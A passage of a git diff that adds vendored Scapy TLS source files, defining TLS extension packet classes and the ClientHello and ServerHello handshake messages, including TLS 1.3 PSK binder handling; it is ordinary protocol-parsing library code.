+class TLS_Ext_ClientAuthz(TLS_Ext_Unknown): # RFC 5878 + """ XXX Unsupported """ + name = "TLS Extension - Client Authz" + fields_desc = [ShortEnumField("type", 7, _tls_ext), + ShortField("len", None), + ] + + +class TLS_Ext_ServerAuthz(TLS_Ext_Unknown): # RFC 5878 + """ XXX Unsupported """ + name = "TLS Extension - Server Authz" + fields_desc = [ShortEnumField("type", 8, _tls_ext), + ShortField("len", None), + ] + + +_tls_cert_types = {0: "X.509", 1: "OpenPGP"} + + +class TLS_Ext_ClientCertType(TLS_Ext_Unknown): # RFC 5081 + name = "TLS Extension - Certificate Type (client version)" + fields_desc = [ShortEnumField("type", 9, _tls_ext), + ShortField("len", None), + FieldLenField("ctypeslen", None, length_of="ctypes"), + FieldListField("ctypes", [0, 1], + ByteEnumField("certtypes", None, + _tls_cert_types), + length_from=lambda pkt: pkt.ctypeslen)] + + +class TLS_Ext_ServerCertType(TLS_Ext_Unknown): # RFC 5081 + name = "TLS Extension - Certificate Type (server version)" + fields_desc = [ShortEnumField("type", 9, _tls_ext), + ShortField("len", None), + ByteEnumField("ctype", None, _tls_cert_types)] + + +def _TLS_Ext_CertTypeDispatcher(m, *args, **kargs): + """ + We need to select the correct one on dissection. We use the length for + that, as 1 for client version would emply an empty list. + """ + tmp_len = struct.unpack("!H", m[2:4])[0] + if tmp_len == 1: + cls = TLS_Ext_ServerCertType + else: + cls = TLS_Ext_ClientCertType + return cls(m, *args, **kargs) + + +class TLS_Ext_SupportedGroups(TLS_Ext_Unknown): + """ + This extension was known as 'Supported Elliptic Curves' before TLS 1.3 + merged both group selection mechanisms for ECDH and FFDH. + """ + name = "TLS Extension - Supported Groups" + fields_desc = [ShortEnumField("type", 10, _tls_ext), + ShortField("len", None), + FieldLenField("groupslen", None, length_of="groups"), + FieldListField("groups", [], + ShortEnumField("ng", None, + _tls_named_groups), + length_from=lambda pkt: pkt.groupslen)] + + +class TLS_Ext_SupportedEllipticCurves(TLS_Ext_SupportedGroups): # RFC 4492 + pass + + +_tls_ecpoint_format = {0: "uncompressed", + 1: "ansiX962_compressed_prime", + 2: "ansiX962_compressed_char2"} + + +class TLS_Ext_SupportedPointFormat(TLS_Ext_Unknown): # RFC 4492 + name = "TLS Extension - Supported Point Format" + fields_desc = [ShortEnumField("type", 11, _tls_ext), + ShortField("len", None), + FieldLenField("ecpllen", None, fmt="B", length_of="ecpl"), + FieldListField("ecpl", [0], + ByteEnumField("nc", None, + _tls_ecpoint_format), + length_from=lambda pkt: pkt.ecpllen)] + + +class TLS_Ext_SignatureAlgorithms(TLS_Ext_Unknown): # RFC 5246 + name = "TLS Extension - Signature Algorithms" + fields_desc = [ShortEnumField("type", 13, _tls_ext), + ShortField("len", None), + SigAndHashAlgsLenField("sig_algs_len", None, + length_of="sig_algs"), + SigAndHashAlgsField("sig_algs", [], + EnumField("hash_sig", None, + _tls_hash_sig), + length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 + + +class TLS_Ext_Heartbeat(TLS_Ext_Unknown): # RFC 6520 + name = "TLS Extension - Heartbeat" + fields_desc = [ShortEnumField("type", 0x0f, _tls_ext), + ShortField("len", None), + ByteEnumField("heartbeat_mode", 2, + {1: "peer_allowed_to_send", + 2: "peer_not_allowed_to_send"})] + + +class ProtocolName(Packet): + name = "Protocol Name" + fields_desc = [FieldLenField("len", None, fmt='B', length_of="protocol"), + StrLenField("protocol", "", + length_from=lambda pkt: pkt.len)] + + def guess_payload_class(self, p): + return Padding + + +class ProtocolListField(PacketListField): + def i2repr(self, pkt, x): + res = [p.protocol for p in x] + return "[%s]" % b", ".join(res) + + +class TLS_Ext_ALPN(TLS_Ext_PrettyPacketList): # RFC 7301 + name = "TLS Extension - Application Layer Protocol Negotiation" + fields_desc = [ShortEnumField("type", 0x10, _tls_ext), + ShortField("len", None), + FieldLenField("protocolslen", None, length_of="protocols"), + ProtocolListField("protocols", [], ProtocolName, + length_from=lambda pkt:pkt.protocolslen)] + + +class TLS_Ext_Padding(TLS_Ext_Unknown): # RFC 7685 + name = "TLS Extension - Padding" + fields_desc = [ShortEnumField("type", 0x15, _tls_ext), + FieldLenField("len", None, length_of="padding"), + StrLenField("padding", "", + length_from=lambda pkt: pkt.len)] + + +class TLS_Ext_EncryptThenMAC(TLS_Ext_Unknown): # RFC 7366 + name = "TLS Extension - Encrypt-then-MAC" + fields_desc = [ShortEnumField("type", 0x16, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_ExtendedMasterSecret(TLS_Ext_Unknown): # RFC 7627 + name = "TLS Extension - Extended Master Secret" + fields_desc = [ShortEnumField("type", 0x17, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_SessionTicket(TLS_Ext_Unknown): # RFC 5077 + """ + RFC 5077 updates RFC 4507 according to most implementations, which do not + use another (useless) 'ticketlen' field after the global 'len' field. + """ + name = "TLS Extension - Session Ticket" + fields_desc = [ShortEnumField("type", 0x23, _tls_ext), + FieldLenField("len", None, length_of="ticket"), + StrLenField("ticket", "", + length_from=lambda pkt: pkt.len)] + + +class TLS_Ext_KeyShare(TLS_Ext_Unknown): + name = "TLS Extension - Key Share (dummy class)" + fields_desc = [ShortEnumField("type", 0x33, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_PreSharedKey(TLS_Ext_Unknown): + name = "TLS Extension - Pre Shared Key (dummy class)" + fields_desc = [ShortEnumField("type", 0x29, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_EarlyDataIndication(TLS_Ext_Unknown): + name = "TLS Extension - Early Data" + fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_EarlyDataIndicationTicket(TLS_Ext_Unknown): + name = "TLS Extension - Ticket Early Data Info" + fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), + ShortField("len", None), + IntField("max_early_data_size", 0)] + + +_tls_ext_early_data_cls = {1: TLS_Ext_EarlyDataIndication, + 4: TLS_Ext_EarlyDataIndicationTicket, + 8: TLS_Ext_EarlyDataIndication} + + +class TLS_Ext_SupportedVersions(TLS_Ext_Unknown): + name = "TLS Extension - Supported Versions (dummy class)" + fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_SupportedVersion_CH(TLS_Ext_Unknown): + name = "TLS Extension - Supported Versions (for ClientHello)" + fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), + ShortField("len", None), + FieldLenField("versionslen", None, fmt='B', + length_of="versions"), + FieldListField("versions", [], + ShortEnumField("version", None, + _tls_version), + length_from=lambda pkt: pkt.versionslen)] + + +class TLS_Ext_SupportedVersion_SH(TLS_Ext_Unknown): + name = "TLS Extension - Supported Versions (for ServerHello)" + fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), + ShortField("len", None), + ShortEnumField("version", None, _tls_version)] + + +_tls_ext_supported_version_cls = {1: TLS_Ext_SupportedVersion_CH, + 2: TLS_Ext_SupportedVersion_SH} + + +class TLS_Ext_Cookie(TLS_Ext_Unknown): + name = "TLS Extension - Cookie" + fields_desc = [ShortEnumField("type", 0x2c, _tls_ext), + ShortField("len", None), + FieldLenField("cookielen", None, length_of="cookie"), + XStrLenField("cookie", "", + length_from=lambda pkt: pkt.cookielen)] + + def build(self): + fval = self.getfieldval("cookie") + if fval is None or fval == b"": + self.cookie = os.urandom(32) + return TLS_Ext_Unknown.build(self) + + +_tls_psk_kx_modes = {0: "psk_ke", 1: "psk_dhe_ke"} + + +class TLS_Ext_PSKKeyExchangeModes(TLS_Ext_Unknown): + name = "TLS Extension - PSK Key Exchange Modes" + fields_desc = [ShortEnumField("type", 0x2d, _tls_ext), + ShortField("len", None), + FieldLenField("kxmodeslen", None, fmt='B', + length_of="kxmodes"), + FieldListField("kxmodes", [], + ByteEnumField("kxmode", None, + _tls_psk_kx_modes), + length_from=lambda pkt: pkt.kxmodeslen)] + + +class TLS_Ext_TicketEarlyDataInfo(TLS_Ext_Unknown): + name = "TLS Extension - Ticket Early Data Info" + fields_desc = [ShortEnumField("type", 0x2e, _tls_ext), + ShortField("len", None), + IntField("max_early_data_size", 0)] + + +class TLS_Ext_NPN(TLS_Ext_PrettyPacketList): + """ + Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN. + """ + name = "TLS Extension - Next Protocol Negotiation" + fields_desc = [ShortEnumField("type", 0x3374, _tls_ext), + FieldLenField("len", None, length_of="protocols"), + ProtocolListField("protocols", [], ProtocolName, + length_from=lambda pkt:pkt.len)] + + +class TLS_Ext_PostHandshakeAuth(TLS_Ext_Unknown): # RFC 8446 + name = "TLS Extension - Post Handshake Auth" + fields_desc = [ShortEnumField("type", 0x31, _tls_ext), + ShortField("len", None)] + + +class TLS_Ext_SignatureAlgorithmsCert(TLS_Ext_Unknown): # RFC 8446 + name = "TLS Extension - Signature Algorithms Cert" + fields_desc = [ShortEnumField("type", 0x31, _tls_ext), + ShortField("len", None), + SigAndHashAlgsLenField("sig_algs_len", None, + length_of="sig_algs"), + SigAndHashAlgsField("sig_algs", [], + EnumField("hash_sig", None, + _tls_hash_sig), + length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 + + +class TLS_Ext_RenegotiationInfo(TLS_Ext_Unknown): # RFC 5746 + name = "TLS Extension - Renegotiation Indication" + fields_desc = [ShortEnumField("type", 0xff01, _tls_ext), + ShortField("len", None), + FieldLenField("reneg_conn_len", None, fmt='B', + length_of="renegotiated_connection"), + StrLenField("renegotiated_connection", "", + length_from=lambda pkt: pkt.reneg_conn_len)] + + +class TLS_Ext_RecordSizeLimit(TLS_Ext_Unknown): # RFC 8449 + name = "TLS Extension - Record Size Limit" + fields_desc = [ShortEnumField("type", 0x1c, _tls_ext), + ShortField("len", None), + ShortField("record_size_limit", None)] + + +_tls_ext_cls = {0: TLS_Ext_ServerName, + 1: TLS_Ext_MaxFragLen, + 2: TLS_Ext_ClientCertURL, + 3: TLS_Ext_TrustedCAInd, + 4: TLS_Ext_TruncatedHMAC, + 5: TLS_Ext_CSR, + 6: TLS_Ext_UserMapping, + 7: TLS_Ext_ClientAuthz, + 8: TLS_Ext_ServerAuthz, + 9: _TLS_Ext_CertTypeDispatcher, + # 10: TLS_Ext_SupportedEllipticCurves, + 10: TLS_Ext_SupportedGroups, + 11: TLS_Ext_SupportedPointFormat, + 13: TLS_Ext_SignatureAlgorithms, + 0x0f: TLS_Ext_Heartbeat, + 0x10: TLS_Ext_ALPN, + 0x15: TLS_Ext_Padding, + 0x16: TLS_Ext_EncryptThenMAC, + 0x17: TLS_Ext_ExtendedMasterSecret, + 0x1c: TLS_Ext_RecordSizeLimit, + 0x23: TLS_Ext_SessionTicket, + # 0x28: TLS_Ext_KeyShare, + 0x29: TLS_Ext_PreSharedKey, + 0x2a: TLS_Ext_EarlyDataIndication, + 0x2b: TLS_Ext_SupportedVersions, + 0x2c: TLS_Ext_Cookie, + 0x2d: TLS_Ext_PSKKeyExchangeModes, + # 0x2e: TLS_Ext_TicketEarlyDataInfo, + 0x31: TLS_Ext_PostHandshakeAuth, + 0x32: TLS_Ext_SignatureAlgorithmsCert, + 0x33: TLS_Ext_KeyShare, + # 0x2f: TLS_Ext_CertificateAuthorities, #XXX + # 0x30: TLS_Ext_OIDFilters, #XXX + 0x3374: TLS_Ext_NPN, + 0xff01: TLS_Ext_RenegotiationInfo, + 0xffce: TLS_Ext_EncryptedServerName + } + + +class _ExtensionsLenField(FieldLenField): + def getfield(self, pkt, s): + """ + We try to compute a length, usually from a msglen parsed earlier. + If this length is 0, we consider 'selection_present' (from RFC 5246) + to be False. This means that there should not be any length field. + However, with TLS 1.3, zero lengths are always explicit. + """ + ext = pkt.get_field(self.length_of) + tmp_len = ext.length_from(pkt) + if tmp_len is None or tmp_len <= 0: + v = pkt.tls_session.tls_version + if v is None or v < 0x0304: + return s, None + return super(_ExtensionsLenField, self).getfield(pkt, s) + + def addfield(self, pkt, s, i): + """ + There is a hack with the _ExtensionsField.i2len. It works only because + we expect _ExtensionsField.i2m to return a string of the same size (if + not of the same value) upon successive calls (e.g. through i2len here, + then i2m when directly building the _ExtensionsField). + + XXX A proper way to do this would be to keep the extensions built from + the i2len call here, instead of rebuilding them later on. + """ + if i is None: + if self.length_of is not None: + fld, fval = pkt.getfield_and_val(self.length_of) + + tmp = pkt.tls_session.frozen + pkt.tls_session.frozen = True + f = fld.i2len(pkt, fval) + pkt.tls_session.frozen = tmp + + i = self.adjust(pkt, f) + if i == 0: # for correct build if no ext and not explicitly 0 + v = pkt.tls_session.tls_version + # Xith TLS 1.3, zero lengths are always explicit. + if v is None or v < 0x0304: + return s + else: + return s + struct.pack(self.fmt, i) + return s + struct.pack(self.fmt, i) + + +class _ExtensionsField(StrLenField): + islist = 1 + holds_packets = 1 + + def i2len(self, pkt, i): + if i is None: + return 0 + return len(self.i2m(pkt, i)) + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + if tmp_len is None: + return s, [] + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def i2m(self, pkt, i): + if i is None: + return b"" + if isinstance(pkt, _GenericTLSSessionInheritance): + if not pkt.tls_session.frozen: + s = b"" + for ext in i: + if isinstance(ext, _GenericTLSSessionInheritance): + ext.tls_session = pkt.tls_session + s += ext.raw_stateful() + else: + s += raw(ext) + return s + return b"".join(map(raw, i)) + + def m2i(self, pkt, m): + res = [] + while len(m) >= 4: + t = struct.unpack("!H", m[:2])[0] + tmp_len = struct.unpack("!H", m[2:4])[0] + cls = _tls_ext_cls.get(t, TLS_Ext_Unknown) + if cls is TLS_Ext_KeyShare: + # TLS_Ext_KeyShare can be : + # - TLS_Ext_KeyShare_CH if the message is a ClientHello + # - TLS_Ext_KeyShare_SH if the message is a ServerHello + # and all parameters are accepted by the serveur + # - TLS_Ext_KeyShare_HRR if message is a ServerHello and + # the client has not provided a sufficient "key_share" + # extension + from scapy.layers.tls.keyexchange_tls13 import ( + _tls_ext_keyshare_cls, _tls_ext_keyshare_hrr_cls) + # If SHA-256("HelloRetryRequest") == server_random, + # this message is a HelloRetryRequest + if pkt.random_bytes and \ + pkt.random_bytes == _tls_hello_retry_magic: + cls = _tls_ext_keyshare_hrr_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 + else: + cls = _tls_ext_keyshare_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 + elif cls is TLS_Ext_PreSharedKey: + from scapy.layers.tls.keyexchange_tls13 import _tls_ext_presharedkey_cls # noqa: E501 + cls = _tls_ext_presharedkey_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 + elif cls is TLS_Ext_SupportedVersions: + cls = _tls_ext_supported_version_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 + elif cls is TLS_Ext_EarlyDataIndication: + cls = _tls_ext_early_data_cls.get(pkt.msgtype, TLS_Ext_Unknown) + res.append(cls(m[:tmp_len + 4], tls_session=pkt.tls_session)) + m = m[tmp_len + 4:] + return res diff --git a/libs/scapy/layers/tls/handshake.py b/libs/scapy/layers/tls/handshake.py new file mode 100755 index 0000000..344e9b8 --- /dev/null +++ b/libs/scapy/layers/tls/handshake.py @@ -0,0 +1,1664 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS handshake fields & logic. + +This module covers the handshake TLS subprotocol, except for the key exchange +mechanisms which are addressed with keyexchange.py. +""" + +from __future__ import absolute_import +import math +import os +import struct + +from scapy.error import log_runtime, warning +from scapy.fields import ByteEnumField, ByteField, EnumField, Field, \ + FieldLenField, IntField, PacketField, PacketListField, ShortField, \ + StrFixedLenField, StrLenField, ThreeBytesField, UTCTimeField + +from scapy.compat import hex_bytes, orb, raw +from scapy.config import conf +from scapy.modules import six +from scapy.packet import Packet, Raw, Padding +from scapy.utils import randstring, repr_hex +from scapy.layers.x509 import OCSP_Response +from scapy.layers.tls.cert import Cert +from scapy.layers.tls.basefields import (_tls_version, _TLSVersionField, + _TLSClientVersionField) +from scapy.layers.tls.extensions import (_ExtensionsLenField, _ExtensionsField, + _cert_status_type, + TLS_Ext_SupportedVersion_CH, + TLS_Ext_SignatureAlgorithms, + TLS_Ext_SupportedVersion_SH, + TLS_Ext_EarlyDataIndication, + _tls_hello_retry_magic) +from scapy.layers.tls.keyexchange import (_TLSSignature, _TLSServerParamsField, + _TLSSignatureField, ServerRSAParams, + SigAndHashAlgsField, _tls_hash_sig, + SigAndHashAlgsLenField) +from scapy.layers.tls.session import (_GenericTLSSessionInheritance, + readConnState, writeConnState) +from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH +from scapy.layers.tls.crypto.compression import (_tls_compression_algs, + _tls_compression_algs_cls, + Comp_NULL, _GenericComp, + _GenericCompMetaclass) +from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, + _tls_cipher_suites_cls, + _GenericCipherSuite, + _GenericCipherSuiteMetaclass) +from scapy.layers.tls.crypto.hkdf import TLS13_HKDF + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import hashes + + +############################################################################### +# Generic TLS Handshake message # +############################################################################### + +_tls_handshake_type = {0: "hello_request", 1: "client_hello", + 2: "server_hello", 3: "hello_verify_request", + 4: "session_ticket", 6: "hello_retry_request", + 8: "encrypted_extensions", 11: "certificate", + 12: "server_key_exchange", 13: "certificate_request", + 14: "server_hello_done", 15: "certificate_verify", + 16: "client_key_exchange", 20: "finished", + 21: "certificate_url", 22: "certificate_status", + 23: "supplemental_data", 24: "key_update"} + + +class _TLSHandshake(_GenericTLSSessionInheritance): + """ + Inherited by other Handshake classes to get post_build(). + Also used as a fallback for unknown TLS Handshake packets. + """ + name = "TLS Handshake Generic message" + fields_desc = [ByteEnumField("msgtype", None, _tls_handshake_type), + ThreeBytesField("msglen", None), + StrLenField("msg", "", + length_from=lambda pkt: pkt.msglen)] + + def post_build(self, p, pay): + tmp_len = len(p) + if self.msglen is None: + l2 = tmp_len - 4 + p = struct.pack("!I", (orb(p[0]) << 24) | l2) + p[4:] + return p + pay + + def guess_payload_class(self, p): + return conf.padding_layer + + def tls_session_update(self, msg_str): + """ + Covers both post_build- and post_dissection- context updates. + """ + self.tls_session.handshake_messages.append(msg_str) + self.tls_session.handshake_messages_parsed.append(self) + + +############################################################################### +# HelloRequest # +############################################################################### + +class TLSHelloRequest(_TLSHandshake): + name = "TLS Handshake - Hello Request" + fields_desc = [ByteEnumField("msgtype", 0, _tls_handshake_type), + ThreeBytesField("msglen", None)] + + def tls_session_update(self, msg_str): + """ + Message should not be added to the list of handshake messages + that will be hashed in the finished and certificate verify messages. + """ + return + + +############################################################################### +# ClientHello fields # +############################################################################### + +class _GMTUnixTimeField(UTCTimeField): + """ + "The current time and date in standard UNIX 32-bit format (seconds since + the midnight starting Jan 1, 1970, GMT, ignoring leap seconds)." + """ + + def i2h(self, pkt, x): + if x is not None: + return x + return 0 + + +class _TLSRandomBytesField(StrFixedLenField): + def i2repr(self, pkt, x): + if x is None: + return repr(x) + return repr_hex(self.i2h(pkt, x)) + + +class _SessionIDField(StrLenField): + """ + opaque SessionID<0..32>; section 7.4.1.2 of RFC 4346 + """ + pass + + +class _CipherSuitesField(StrLenField): + __slots__ = ["itemfmt", "itemsize", "i2s", "s2i"] + islist = 1 + + def __init__(self, name, default, dico, length_from=None, itemfmt="!H"): + StrLenField.__init__(self, name, default, length_from=length_from) + self.itemfmt = itemfmt + self.itemsize = struct.calcsize(itemfmt) + i2s = self.i2s = {} + s2i = self.s2i = {} + for k in six.iterkeys(dico): + i2s[k] = dico[k] + s2i[dico[k]] = k + + def any2i_one(self, pkt, x): + if (isinstance(x, _GenericCipherSuite) or + isinstance(x, _GenericCipherSuiteMetaclass)): + x = x.val + if isinstance(x, bytes): + x = self.s2i[x] + return x + + def i2repr_one(self, pkt, x): + fmt = "0x%%0%dx" % self.itemsize + return self.i2s.get(x, fmt % x) + + def any2i(self, pkt, x): + if x is None: + return None + if not isinstance(x, list): + x = [x] + return [self.any2i_one(pkt, z) for z in x] + + def i2repr(self, pkt, x): + if x is None: + return "None" + tmp_len = [self.i2repr_one(pkt, z) for z in x] + if len(tmp_len) == 1: + tmp_len = tmp_len[0] + else: + tmp_len = "[%s]" % ", ".join(tmp_len) + return tmp_len + + def i2m(self, pkt, val): + if val is None: + val = [] + return b"".join(struct.pack(self.itemfmt, x) for x in val) + + def m2i(self, pkt, m): + res = [] + itemlen = struct.calcsize(self.itemfmt) + while m: + res.append(struct.unpack(self.itemfmt, m[:itemlen])[0]) + m = m[itemlen:] + return res + + def i2len(self, pkt, i): + if i is None: + return 0 + return len(i) * self.itemsize + + +class _CompressionMethodsField(_CipherSuitesField): + + def any2i_one(self, pkt, x): + if (isinstance(x, _GenericComp) or + isinstance(x, _GenericCompMetaclass)): + x = x.val + if isinstance(x, str): + x = self.s2i[x] + return x + + +############################################################################### +# ClientHello # +############################################################################### + +class TLSClientHello(_TLSHandshake): + """ + TLS ClientHello, with abilities to handle extensions. + + The Random structure follows the RFC 5246: while it is 32-byte long, + many implementations use the first 4 bytes as a gmt_unix_time, and then + the remaining 28 byts should be completely random. This was designed in + order to (sort of) mitigate broken RNGs. If you prefer to show the full + 32 random bytes without any GMT time, just comment in/out the lines below. + """ + name = "TLS Handshake - Client Hello" + fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSClientVersionField("version", None, _tls_version), + + # _TLSRandomBytesField("random_bytes", None, 32), + _GMTUnixTimeField("gmt_unix_time", None), + _TLSRandomBytesField("random_bytes", None, 28), + + FieldLenField("sidlen", None, fmt="B", length_of="sid"), + _SessionIDField("sid", "", + length_from=lambda pkt: pkt.sidlen), + + FieldLenField("cipherslen", None, fmt="!H", + length_of="ciphers"), + _CipherSuitesField("ciphers", None, + _tls_cipher_suites, itemfmt="!H", + length_from=lambda pkt: pkt.cipherslen), + + FieldLenField("complen", None, fmt="B", length_of="comp"), + _CompressionMethodsField("comp", [0], + _tls_compression_algs, + itemfmt="B", + length_from=lambda pkt: pkt.complen), # noqa: E501 + + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: (pkt.msglen - + (pkt.sidlen or 0) - # noqa: E501 + (pkt.cipherslen or 0) - # noqa: E501 + (pkt.complen or 0) - # noqa: E501 + 40))] + + def post_build(self, p, pay): + if self.random_bytes is None: + p = p[:10] + randstring(28) + p[10 + 28:] + + # if no ciphersuites were provided, we add a few usual, supported + # ciphersuites along with the appropriate extensions + if self.ciphers is None: + cipherstart = 39 + (self.sidlen or 0) + s = b"001ac02bc023c02fc027009e0067009c003cc009c0130033002f000a" + p = p[:cipherstart] + hex_bytes(s) + p[cipherstart + 2:] + if self.ext is None: + ext_len = b'\x00\x2c' + ext_reneg = b'\xff\x01\x00\x01\x00' + ext_sn = b'\x00\x00\x00\x0f\x00\r\x00\x00\nsecdev.org' + ext_sigalg = b'\x00\r\x00\x08\x00\x06\x04\x03\x04\x01\x02\x01' + ext_supgroups = b'\x00\n\x00\x04\x00\x02\x00\x17' + p += ext_len + ext_reneg + ext_sn + ext_sigalg + ext_supgroups + + return super(TLSClientHello, self).post_build(p, pay) + + def tls_session_update(self, msg_str): + """ + Either for parsing or building, we store the client_random + along with the raw string representing this handshake message. + """ + super(TLSClientHello, self).tls_session_update(msg_str) + s = self.tls_session + s.advertised_tls_version = self.version + # This ClientHello could be a 1.3 one. Let's store the sid + # in all cases + if self.sidlen and self.sidlen > 0: + s.sid = self.sid + self.random_bytes = msg_str[10:38] + s.client_random = (struct.pack('!I', self.gmt_unix_time) + + self.random_bytes) + + # No distinction between a TLS 1.2 ClientHello and a TLS + # 1.3 ClientHello when dissecting : TLS 1.3 CH will be + # parsed as TLSClientHello + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_SupportedVersion_CH): + for ver in e.versions: + # RFC 8701: GREASE of TLS will send unknown versions + # here. We have to ignore them + if ver in _tls_version: + s.advertised_tls_version = ver + break + if s.sid: + s.middlebox_compatibility = True + + if isinstance(e, TLS_Ext_SignatureAlgorithms): + s.advertised_sig_algs = e.sig_algs + + +class TLS13ClientHello(_TLSHandshake): + """ + TLS 1.3 ClientHello, with abilities to handle extensions. + + The Random structure is 32 random bytes without any GMT time + """ + name = "TLS 1.3 Handshake - Client Hello" + fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSClientVersionField("version", None, _tls_version), + + _TLSRandomBytesField("random_bytes", None, 32), + + FieldLenField("sidlen", None, fmt="B", length_of="sid"), + _SessionIDField("sid", "", + length_from=lambda pkt: pkt.sidlen), + + FieldLenField("cipherslen", None, fmt="!H", + length_of="ciphers"), + _CipherSuitesField("ciphers", None, + _tls_cipher_suites, itemfmt="!H", + length_from=lambda pkt: pkt.cipherslen), + + FieldLenField("complen", None, fmt="B", length_of="comp"), + _CompressionMethodsField("comp", [0], + _tls_compression_algs, + itemfmt="B", + length_from=lambda pkt: pkt.complen), # noqa: E501 + + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: (pkt.msglen - + (pkt.sidlen or 0) - # noqa: E501 + (pkt.cipherslen or 0) - # noqa: E501 + (pkt.complen or 0) - # noqa: E501 + 40))] + + def post_build(self, p, pay): + if self.random_bytes is None: + p = p[:6] + randstring(32) + p[6 + 32:] + # We don't call the post_build function from class _TLSHandshake + # to compute the message length because we need that value now + # for the HMAC in binder + tmp_len = len(p) + if self.msglen is None: + sz = tmp_len - 4 + p = struct.pack("!I", (orb(p[0]) << 24) | sz) + p[4:] + s = self.tls_session + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_PreSharedKey_CH): + if s.client_session_ticket: + # For a resumed PSK, the hash function use + # to compute the binder must be the same + # as the one used to establish the original + # conntection. For that, we assume that + # the ciphersuite associate with the ticket + # is given as argument to tlsSession + # (see layers/tls/automaton_cli.py for an + # example) + res_suite = s.tls13_ticket_ciphersuite + cs_cls = _tls_cipher_suites_cls[res_suite] + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + s.compute_tls13_early_secrets(external=False) + else: + # For out of band PSK, SHA-256 is used as default + # hash functions for HKDF + hkdf = TLS13_HKDF("sha256") + hash_len = hkdf.hash.digest_size + s.compute_tls13_early_secrets(external=True) + + # RFC8446 4.2.11.2 + # "Each entry in the binders list is computed as an HMAC + # over a transcript hash (see Section 4.4.1) containing a + # partial ClientHello up to and including the + # PreSharedKeyExtension.identities field." + # PSK Binders field is : + # - PSK Binders length (2 bytes) + # - First PSK Binder length (1 byte) + + # HMAC (hash_len bytes) + # The PSK Binder is computed in the same way as the + # Finished message with binder_key as BaseKey + + handshake_context = b"" + if s.tls13_retry: + for m in s.handshake_messages: + handshake_context += m + handshake_context += p[:-hash_len - 3] + + binder_key = s.tls13_derived_secrets["binder_key"] + psk_binder = hkdf.compute_verify_data(binder_key, + handshake_context) + + # Here, we replaced the last 32 bytes of the packet by the + # new HMAC values computed over the ClientHello (without + # the binders) + p = p[:-hash_len] + psk_binder + + return p + pay + + def tls_session_update(self, msg_str): + """ + Either for parsing or building, we store the client_random + along with the raw string representing this handshake message. + """ + super(TLS13ClientHello, self).tls_session_update(msg_str) + s = self.tls_session + + if self.sidlen and self.sidlen > 0: + s.sid = self.sid + s.middlebox_compatibility = True + + self.random_bytes = msg_str[10:38] + s.client_random = self.random_bytes + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_SupportedVersion_CH): + for ver in e.versions: + # RFC 8701: GREASE of TLS will send unknown versions + # here. We have to ignore them + if ver in _tls_version: + self.tls_session.advertised_tls_version = ver + break + if isinstance(e, TLS_Ext_SignatureAlgorithms): + s.advertised_sig_algs = e.sig_algs + + +############################################################################### +# ServerHello # +############################################################################### + + +class TLSServerHello(_TLSHandshake): + """ + TLS ServerHello, with abilities to handle extensions. + + The Random structure follows the RFC 5246: while it is 32-byte long, + many implementations use the first 4 bytes as a gmt_unix_time, and then + the remaining 28 byts should be completely random. This was designed in + order to (sort of) mitigate broken RNGs. If you prefer to show the full + 32 random bytes without any GMT time, just comment in/out the lines below. + """ + name = "TLS Handshake - Server Hello" + fields_desc = [ByteEnumField("msgtype", 2, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSVersionField("version", None, _tls_version), + + # _TLSRandomBytesField("random_bytes", None, 32), + _GMTUnixTimeField("gmt_unix_time", None), + _TLSRandomBytesField("random_bytes", None, 28), + + FieldLenField("sidlen", None, length_of="sid", fmt="B"), + _SessionIDField("sid", "", + length_from=lambda pkt: pkt.sidlen), + + EnumField("cipher", None, _tls_cipher_suites), + _CompressionMethodsField("comp", [0], + _tls_compression_algs, + itemfmt="B", + length_from=lambda pkt: 1), + + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: (pkt.msglen - + (pkt.sidlen or 0) - # noqa: E501 + 38))] + # 40)) ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 6: + version = struct.unpack("!H", _pkt[4:6])[0] + if version == 0x0304 or version > 0x7f00: + return TLS13ServerHello + return TLSServerHello + + def post_build(self, p, pay): + if self.random_bytes is None: + p = p[:10] + randstring(28) + p[10 + 28:] + return super(TLSServerHello, self).post_build(p, pay) + + def tls_session_update(self, msg_str): + """ + Either for parsing or building, we store the server_random + along with the raw string representing this handshake message. + We also store the session_id, the cipher suite (if recognized), + the compression method, and finally we instantiate 